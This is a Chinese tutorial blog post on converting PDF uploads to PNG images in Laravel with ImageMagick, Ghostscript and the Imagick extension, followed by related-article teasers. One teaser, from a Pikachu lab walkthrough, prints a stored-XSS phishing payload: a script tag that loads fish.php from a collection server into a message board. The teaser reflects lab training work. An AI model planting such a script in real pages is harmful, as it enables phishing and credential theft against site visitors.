#php把pdf文件转成图片#

本地环境
系统:win11 64位
环境:phpStudy
PHP版本:8.0.2
矿建:laravel


配置扩展
一、安装imageMagick
下载地址:https://imagemagick.org/script/download.php
安装版本:ImageMagick-最新版本-Q16-HDRI-x64-dll
配置环境变量:我的电脑-属性-高级系统设置-环境变量-系统变量-path-编辑-新建-引入安装路径
二、安装ghostscript
下载地址:https://www.ghostscript.com/releases/gsdnld.html
安装版本:gs926w64.exe
配置环境变量:我的电脑-属性-高级系统设置-环境变量-系统变量-path-编辑-新建-引入安装路径\bin
三、下载php_imagick.dll扩展
下载地址:https://pecl.php.net/package/imagick/3.4.4/windows
安装版本:php_imagick-3.4.4-{当前使用的php版本}-nts-vc15-x64
意事项:选择与自身PHP版本相同的下载,如果phpinfo的Thread Safety是disabied选择nts版本,否则选ts版本

四、开启php_imagick.dll扩展
1.把php_imagick.dll文件复制到 ext 目录下(phpstudy-属性-打开 文件所在的位置 -> 返回上一层 -Extensions- php-php8.0.2nts ->ext)
2.把其他.dll文件复制在php根目录下(phpstudy-属性-打开 文件所在的位置 -> 返回上一层 -Extensions- php-php8.0.2nts 
3.开启扩展(phpStudy-网站-选择开发的项目-管理-php扩展-勾选imagick)
五、实现代码
1:前端代码

<!DOCTYPE html>
<html><head><title>注册画面</title><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><!-- 引入 Bootstrap --><!-- HTML5 Shiv 和 Respond.js 用于让 IE8 支持 HTML5元素和媒体查询 --><!-- 注意: 如果通过 file://  引入 Respond.js 文件,则该文件无法起效果 --><!--[if lt IE 9]><![endif]--><style></style></head><body><div id="main"><form class="form-horizontal" role="form"  enctype="multipart/form-data"  action="/test/savepdf"  method="POST"><div class="form-group"><div class="col-sm-offset-3 col-sm-9"><input type="file" name="pdffile"></div></div><div class="form-group"><div class="col-sm-offset-3 col-sm-9"><input type="submit"  value="保存"  class="btn btn-primary btn-group-justified"></div></div></form></div><script>$(function() {})</script></body>
</html>
<script></script>

2:后端代码

Route::any('test/savepdf', 'Teacher\TestController@savePdf');
public function  savePdf(Request $request ){$rootPath = storage_path('app/public');if ($request->hasFile('pdffile')) {$file = $request->file('pdffile');$extension = $file ->getClientOriginalExtension() ;if(strtolower($extension) != "pdf"){return 0;}$filename =  date("YmdHis").'.'.$extension;$path = $file->storeAs('pdfs', $filename, 'public');$pdfFilePath =$rootPath."/".$path;try{if(!extension_loaded('imagick')){return 1;}if(!file_exists($pdfFilePath)){return 2;}//                $outputImage = $rootPath.'/output.png'; // 输出图片文件名
//                // 创建Imagick对象
//                $imagick = new \Imagick();
//                // 从PDF文件读取数据
//                $imagick->readImage($pdfFilePath . '[0]'); // 读取第一页,索引从0开始
//                //$imagick->readImage($pdfFilePath); // 读取第一页,索引从0开始
//
//                // 设置图片格式和质量
//                $imagick->setImageFormat('png');
//                $imagick->setImageCompressionQuality(100);
//                // 写入图片文件
//                $imagick->writeImage($outputImage);
//                 // 清理资源
//                $imagick->clear();
//                $imagick->destroy();$IM = new \imagick();$IM->setResolution(120,120);$IM->setCompressionQuality(100);$IM->readImage($pdfFilePath);foreach ($IM as $Key => $Var){$Var->setImageFormat('png');$Filename = $rootPath.'/'.$filename.'_pdfpng_'.$Key.'.png';if($Var->writeImage($Filename) == true){$Return[] = $Filename;}}}catch(\Exception $e){die($e->getMessage());return $e->getMessage();}}foreach ($Return as $k=>$v){$item = str_replace($rootPath,"",$v) ;$Return[$k] = asset("storage".$item);}print_r($Return);die("error") ;}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/330967.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【maven与tomcat配置】如何正确配置maven及tomcat环境变量及运行Java项目 (附图文说明及下载包)

maven及tomcat配置详解 &#x1f354;涉及知识&#x1f964;写在前面&#x1f367;一、maven和tomcat是啥&#xff1f;&#x1f367;二、maven环境变量配置2.1获取maven包2.2创建本地仓库及修改配置A&#xff0e;校验是否安装javaB&#xff0e;创建本地maven存放仓库C&#xff…

【代码随想录】二分查找算法总结篇

目录 前言二分查找例题一例题二例题三例题四 前言 本篇文章记录了代码随想录二分查找算法的总结笔记&#xff0c;下面我们一起来学习吧&#xff01;&#xff01; 二分查找 关于二分查找算法&#xff0c;我在之前的这篇博客里面做了非常多的分析&#xff0c;但是后面做题做着…

【ETAS CP AUTOSAR工具链】ARXML文件详解

本篇文章首先对ARXML这种文件格式做了一个概述&#xff0c;叙述了这种标签语言的基本语法&#xff08;如果您用HTML做过网页&#xff0c;那么这种格式您一定不会陌生&#xff09;&#xff0c;然后对ARXML文件都会包含的一些基本信息做了详细的解读&#xff0c;最后基于使用ISOL…

Java使用apache.poi生成word

加油&#xff0c;打工人&#xff01; 工作需求&#xff0c;将现有的word模板有段落和表格&#xff0c;从数据库中查出数据并填充&#xff0c;word里面也有表格数据&#xff0c;需要将excel表格数据单独处理&#xff0c;然后插入到生成好的word文档中。 下面代码模拟从数据库查出…

力扣刷题---3146. 两个字符串的排列差

题目描述 给你两个字符串 s 和 t&#xff0c;每个字符串中的字符都不重复&#xff0c;且 t 是 s 的一个排列。 排列差 定义为 s 和 t 中每个字符在两个字符串中位置的绝对差值之和。 返回 s 和 t 之间的 排列差 。 示例 1&#xff1a; 输入&#xff1a;s “abc”, t “b…

【安装配置】WSL虚拟机导出、导入镜像(涉及到docker无法在wsl下使用的问题)

背景 WSL&#xff08;Windows Subsystem Linux&#xff09;&#xff0c;是微软提供的在Windows下便携地使用Linux系统的方式&#xff0c;它支持使用虚拟化技术&#xff08;也就是要在bios和控制面板中开启虚拟化支持&#xff09;&#xff0c;完美支持Ubuntu和Windows文件系统之…

泪目!网络连接中断的原因,终于找到了!

朋友们&#xff0c;出大事了&#xff01; 不知道多少朋友玩过 DNF 这个游戏&#xff0c;这个我从小学玩到大学的 “破” 游戏&#xff0c;昨天竟然出手游了&#xff01; 我都忘了自己曾几何时预约过这个手游通知&#xff0c;昨天给我发了条通知信息说游戏已开服。 老玩家直接…

一些常见的程序设计问题

秒杀 redis缓存库存 1.判断库存名额是否充足&#xff0c;2.进行扣减 为了防止超卖&#xff0c;必须保证这两部的原子性 库存扣减后发送mq消息&#xff0c;去异步执行创建订单流程&#xff0c;创建订单失败会造成少卖。可加重试机制&#xff0c;对多次重试依旧失败的&#xff…

基于Netty实现WebSocket服务端

本文基于Netty实现WebSocket服务端&#xff0c;实现和客户端的交互通信&#xff0c;客户端基于JavaScript实现。 在【WebSocket简介-CSDN博客】中&#xff0c;我们知道WebSocket是基于Http协议的升级&#xff0c;而Netty提供了Http和WebSocket Frame的编解码器和Handler&#…

解锁数据关联之道:SQL 表连接详解

文章目录 概述表关系横向连接内连接 inner join左连接 left join右连接 right join全连接 full join交叉连接 cross join 纵向合并UNION ALLUNION 概述 在数据处理、数据分析中常会用到表连接。表连接的作用是将多个表中的数据关联起来&#xff0c;以便在查询过程中获取更全面…

设计模式—23种设计模式重点 表格梳理

设计模式的核心在于提供了相关的问题的解决方案&#xff0c;使得人们可以更加简单方便的复用成功的设计和体系结构。 按照设计模式的目的可以分为三大类。创建型模式与对象的创建有关&#xff1b;结构型模式处理类或对象的组合&#xff1b;行为型模式对类或对象怎样交互和怎样…

正确可用--Notepad++批量转换文件编码为UTF8

参考了:Notepad批量转换文件编码为UTF8_怎么批量把ansi转成utf8-CSDN博客​​​​​​https://blog.csdn.net/wangmy1988/article/details/118698647我参考了它的教程,但是py脚本写的不对. 只能改一个.不能实现批量更改. 他的操作步骤没问题,就是把脚本代码换成我这个. #-*-…

1、pikachu靶场之xss钓鱼复现

一、复现过程 1、payload <script src"http://127.0.0.1/pkxss/xfish/fish.php"></script> 将这段代码插入到含有储存xss的网页上&#xff0c;如下留言板 2、此时恶意代码已经存入数据库&#xff0c;并存在网页中&#xff0c;当另一个用户打开这个网页…

uniapp+canvas实现逐字手写效果

在移动端使用 UniApp 进行逐字手写的功能。用户可以在一个 inputCanvas 上书写单个字&#xff0c;然后在特定时间后将这个字添加到 outputCanvas 上&#xff0c;形成一个逐字的手写效果。用户还可以保存整幅图像或者撤销上一个添加的字。 初始化 Canvas&#xff1a; 使用 uni.c…

使用FFmpeg推流实现在B站24小时点歌直播

使用FFmpeg推流实现在B站24小时点歌直播 本文首发于个人博客 安装FFmpeg centos7 https://www.myfreax.com/how-to-install-ffmpeg-on-centos-7/ https://linuxize.com/post/how-to-install-ffmpeg-on-centos-7/ 使用FFmpeg在B站直播 https://zhuanlan.zhihu.com/p/2395…

超级初始网络

目录 一、网络发展史 1、独立模式 2、局域网 LAN&#xff08;Local Area Network&#xff09; 3、广域网 WAN (Wide Area Network) 二、网络通信基础 1、IP地址&#xff1a;用于定位主机的网络地址 2、端口号&#xff1a;用于定位主机中的进程 3、网络协议 4、五元组 …

基于卷积神经网络的交通标志识别(pytorch,opencv,yolov5)

文章目录 数据集介绍&#xff1a;resnet18模型代码加载数据集&#xff08;Dataset与Dataloader&#xff09;模型训练训练准确率及损失函数&#xff1a;resnet18交通标志分类源码yolov5检测与识别&#xff08;交通标志&#xff09; 本文共包含两部分&#xff0c; 第一部分是用re…

LeetCode 279 —— 完全平方数

阅读目录 1. 题目2. 解题思路3. 代码实现 1. 题目 2. 解题思路 此图利用动态规划进行求解&#xff0c;首先&#xff0c;我们求出小于 n n n 的所有完全平方数&#xff0c;存放在数组 squareNums 中。 定义 dp[n] 为和为 n n n 的完全平方数的最小数量&#xff0c;那么有状态…

mysql中text,longtext,mediumtext区别

文章目录 一.概览二、字节限制不同三、I/O 不同四、行迁移不同 一.概览 在 MySQL 中&#xff0c;text、mediumtext 和 longtext 都是用来存储大量文本数据的数据类型。 TEXT&#xff1a;TEXT 数据类型可以用来存储最大长度为 65,535(2^16-1)个字符的文本数据。如果存储的数据…

【服务器】使用mobaXterm远程连接服务器

目录 1、安装mobaXterm2、使用mobaXterm3、程序后台保持运行状态 1、安装mobaXterm 下载地址&#xff1a;https://mobaxterm.mobatek.net/download.html 下载免费版 分为蓝色便携版&#xff08;下载后可直接使用&#xff09;和绿色安装版&#xff08;需要正常安装后使用&…